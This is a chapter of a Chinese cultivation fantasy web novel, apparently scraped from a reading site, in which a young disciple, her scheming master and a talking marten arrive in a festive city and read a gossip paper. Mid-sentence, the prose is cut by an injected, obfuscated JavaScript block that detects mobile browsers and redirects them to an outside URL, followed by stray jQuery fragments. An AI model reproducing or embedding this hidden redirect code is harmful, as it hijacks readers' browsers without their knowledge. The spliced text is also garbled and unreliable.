默认冷灰
24号文字
方正启体

12. 第 12 章

作者:银山堆本书字数:K更新时间:
    从博国到瀚国,即便是以速度著称的杨柳依依云船,也要一个月左右。


    照泓夜里吐纳灵气,又破一层关隘,已经达到练气第五重,丹田内隐约形成一栋雕梁画栋的宝殿重楼,呈白蓝色,屋脊是条条晶莹的冰凌,殿堂内地面水波涌动,一轮满月正虚虚的升上中天。


    从练气中期开始,练气期的九重楼隐约浮现,后期逐渐凝实。每种灵气功法,构筑出的宝殿重楼都不尽相同。


    这些天白貂时不时地为她介绍一些修仙之人常识性的东西,叫她越是细读功法,越是为里头蕴含的内容所心惊。


    别看《千滴真录》就这么大大方方地在练气部分,就附了遁法,步法,法术也一样不落,足有三道,全是因为这是一篇直指大道的,只有洞天宗门才能传下的红卷功法罢了。


    许多功法,就连筑基期也不一定有一道法术,要知道法术还有一个别称,就是神通。《千滴真录》练气,筑基,金丹法术各三道,元婴两道,化神一道,不是因为越往后越弱,恰恰相反,是越往后越强才越发稀少。


    许多宗门世家,遁法,步法,甚至于法术,都可能是搜罗的别的功法,和《千滴真录》这种浑然一体的如何相比?


    这就是落下一步,步步落下,绝赶不上的。


    照泓本就喜欢读书,这下更是一头钻了进去,整个白日,往往都在琢磨。杨柳依依上施展不开,她就进须弥府邸里,上午修炼步法《桂影横斜》和遁术《蹑清蹑虚竞揽月》,下午就一门心思地钻研法术神通。


    练气期法术一共三道,第一道叫[镂云裁月],真如字面含义,不仅能掌控灵气,更能裁剪云彩月光,雪花露水,均不在话下,心随意动,不论是防御还是攻击,练到极致,轻灵缥缈,亦难叫人撄其锋芒。


    第二道叫[沧浪濯缨],可召来沧浪之水,这是一种无根的灵水,目前能将其引动的也只有琅嬛飨雪殿的《千滴真录》,其势滔滔,清浊并济,同样是兼顾防御和攻伐的奇术。


    第三道则是一道隐匿神通,叫作[抱朴反真],是一等隐匿身形和气息的法门。


    师尊教导过她,法术是贵精不贵多的,尤其是前期法术,随着熟悉和精炼,是无论如何也不会过时的。哪怕境界提升了,也不必急着修炼新的法术,要把之前的吃透才是正事。


    她这段时间,都在一门心思地修炼镂云裁月,她术法天赋很高,琢磨了两日,便满心欢喜地裁下了一片月光给师尊和白貂看。


    唯独就是那部《小捉刀经》,双刀变换,诡谲难言,狠辣刻毒,一刀一势无虚招,全奔着百会,巨阙,气海这等关键命门去。


    她越是修炼,就越是觉得滞涩惊人,纵使招式牢记于心,却没办法如臂使指,用来十分为难。


    她虽然心境澄明,但碰到这种事,第一时间就是担心师尊失望,幸好别馥浓不大在意的样子,反倒安慰她:“各人的天赋不同,进境缓慢,不必心焦。”


    是道不合。别馥浓心内明镜一样,自家的《小捉刀经》同照泓的心不合,道不合,自然没办法有进益,更别说练出势和意了,悟出举重若轻和举轻若重,修出刀元,怕就是到头了。


    不过她一点不在乎,她又不是真的在乎照泓的道途,只是想将照泓捏成一个合她心意的人形问心罢了。能学的就学,不能学的……与她何干?


    照泓刻苦,白貂自然化作本体成日地陪在她身边,照泓特地用她腕上原本的珍珠红绳,做了一个简陋的腰绳,将白貂的本体坠在了腰间。


    这会儿照泓终于从须弥府邸出来,恒冰寒重新摇头摆尾的化成一只小貂,挂在她肩膀上:“快到瀚国了,赶紧叫你师傅给你买个腰绳宫绦,要不然你这一点隐匿法阵没有,谁会明晃晃的把我这种珍贵的异冰挂在腰间啊。”


    照泓这些天了解了不少事情,但是物价还是不大清楚:“师尊放在我这儿一块灵璧呢,到时候你喜欢哪样,我们去买。”


    白貂哈哈大笑起来:“一块灵璧?够干什么使的?瀚国虽比不上中无涯州一郡,好歹是北俱芦洲最大国家了,到时候叫你开开眼,别到了中无涯州再惊掉眼珠子了!”


    别馥浓靠在船头,云彩从她的颊边擦过,太阳射出道道金光,映得她那张端庄面孔忽明忽暗。


    她懒洋洋地笑道:“这个恒冰寒,怕是卯足了劲要叫我花钱了。”


    照泓和她相处日久,崇敬之中,更多了几分亲昵,走上前去,一双杏眼弯起来:“师尊,徒儿要叫你破费了。”


    别馥浓从第一面就知道,这孩子过于重礼,本质是个疏冷的性子,现在说出这番话来,言语间已经开始透着些别样的亲昵和依赖之意。


    还有一点爱慕埋在心中,将来有的是点燃的时候。


    她心情极好,目光一寸一寸地从照泓的脸上不动声色地移到心口:“那就要看看,你能不能叫师尊真破费了。”


    往下看去,瀚国都城定海城已经若隐若现,照泓远远地望过去,总觉得这城池五颜六色的,哪怕是在空中,都能看到一道一道冲天而起的缤纷华光,甚至能听到不绝于耳的笑语喧闹之声。


    白貂在船头坐着,啧啧称奇:“瀚国以前也没有这么活泼的气象啊,好不容易挤上了一等世家,也不至于乐成这样吧。”


    杨柳依依缓缓地降落下去,这下别说照泓,白貂都是吃了一大惊。


    时值夏天不假,可修士全都不惧冷热,衣服要么随礼制,箭袖褶衣,要么是法衣玉甲,可瀚国街道上行走的修士,很大一部分竟着轻薄纱罗,藕丝衫子柳花裙,要么就是赤臂赤足,戴着金银二色的臂钏和踝镯,一派开放的升平气象。


    别馥浓笑道:“北俱芦洲的妖王垂仙君修的就是玄素道,六十年前长乐未央的流光君成就化神,得了君号,玄素合欢小道在人族也一跃成了大道,流光君姓魏,岱魏又是瀚赵的母族,这两两相加,北俱芦洲大国玄素之风便刮起来了。”


    很有一部分一等世家,跟脚其实都在外洲,中无涯州的驻地根本不是主家。驻地要建得好,主家乃是根基,更要好上加好。


    这定海城已经有了一等世家的气魄,比起凡俗的城池,更像一座古朴的仙都,隐约有海波浪声环绕,华光内敛,只借太阳金光照耀,平添几分内敛厚重。


    她们落下的这条道路是一条四通八达的主干道,街两旁的店铺,看得人眼花缭乱。时而有间店铺通体金光灿灿,叫人不能逼视,时而有间店铺又是寒凉如水,云笼雾罩。


    路边有一只形制精巧,层层叠叠的机关枢盒,旁边则是一个漂亮的机关人偶,和大枢盒是一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495619|202483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体的,有人从旁边经过,就热情地招揽客人:


    “豹纸一张灵钱一张,情切切雪糕四张灵钱一支,意绵绵冰沙七张灵钱一份,一支雪糕一份冰沙的爱情套餐十张灵钱一套,还送您一张豹纸!若要迷情套餐,五十张灵钱一套,还送您一套爱情套餐和七天的豹纸,走过路过,请您不要错过!”


    “这什么雪糕冰沙的我倒是知道,补情天那个结缘机构弄出来的,所谓迷情套餐,就是加了助兴的料,最受修玄素道的欢迎。”白貂从照泓身上跳下来,用小爪子拍拍枢盒,“就是这豹纸,是个什么东西?”


    别馥浓将一张灵钱投进最顶上的枢盒开着的小口中,登时,整个机关咔哒咔哒的扭转起来,吐出一张薄如蝉翼的麻纸来,旁边人偶大声嚷嚷道:“感谢这位道友的一份豹纸!感谢这位道友的一份豹纸!感谢这位大气的道友!道友大气!”


    “原先这种新闻消息都是用玉简和传影珠传递的,既不方便,又昂贵,并不普及。前些年,一只雪豹在凡人常用的廉价麻纸上画了一层颇为独到的加固保鲜法阵,改名豹纸,又和补情天,擅长机关的玄机万象门,善于探听消息的兰台观,还有能定格作画的止淙流觞集合作,弄出了一番不小的事业。”


    她将豹纸递给照泓,白貂也凑上去看,听她道:“上头的一些消息一般不会出错,唯独那个情绵一线牵的栏目,都是一些风流韵事,红粉新闻,看着好玩,当不得真。”


    豹纸四角都有爪印,应当是充作阵旗之用。上头字迹鲜明,颜色变幻,正经新闻有许多,都是标准的黑色小楷,什么都有,有洞天福地开启的消息,有宗门世家的情况,有连城行宝器谱子上的奇物动向,还有兰台观拨云弄风谱上的排行变化。


    这拨云弄风谱应该是关注度极高,特设了一个栏目,笔走龙蛇的写着风云争霸四个橙黄色的大字,将这五大洲的道君名人,还有年轻天骄全部排了一遍名,一旦有比斗,排名会跟随着实时变化。


    尤其是还附着止淙流觞集特殊手段定住的影像,那一位位少年天骄的眼神气质,几乎从麻纸之上煌煌地照射了出来。


    照泓这边看得认真,白貂那边却把目光早早地投到了那个粉光闪闪的栏目上,震撼地念道:“潇湘君心在流觞夜访曲水君浓情蜜意,斑竹长情临水年少相伴心心相印,无情耶?有情!这说的不会是童霁梧和赵凝华两个人吧?她俩不是决裂那天都战至大道磨灭了吗?”


    别馥浓嗤了一声:“穷折腾!”


    白貂继续念道:“上期有热心读者问主笔,五大洲最幸福美满的婚姻是哪对呢?那自然是无归山圣主与妖帝牡丹的旷世绝恋了。圣主李氏皎皎如月轮,妖帝秦瑛耀耀真国色,真是羡煞人,羡煞妖,羡煞人妖,羡煞妖人!”


    白貂被腻歪的舌头都吐出来了:“这雪豹一定是那杨山牡丹做院主的小露书院的学生吧?自导自演拍马屁拍到这个份上,前程真是有了。”


    别馥浓仍是嗤了一声:“恶心人!”


    白貂忽然点起头来:“哎呀,这个写得好呀!琅嬛飨雪殿掌道主母四百年来无道侣,是濯雪君心如濯雪铁石坚,还是修行到位痴迷奇虫难自拔?主笔不禁想到,天地之间乃有一种恋虫癖……”


    别馥浓这下牙齿紧咬,吐出三个字来:“净找死!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)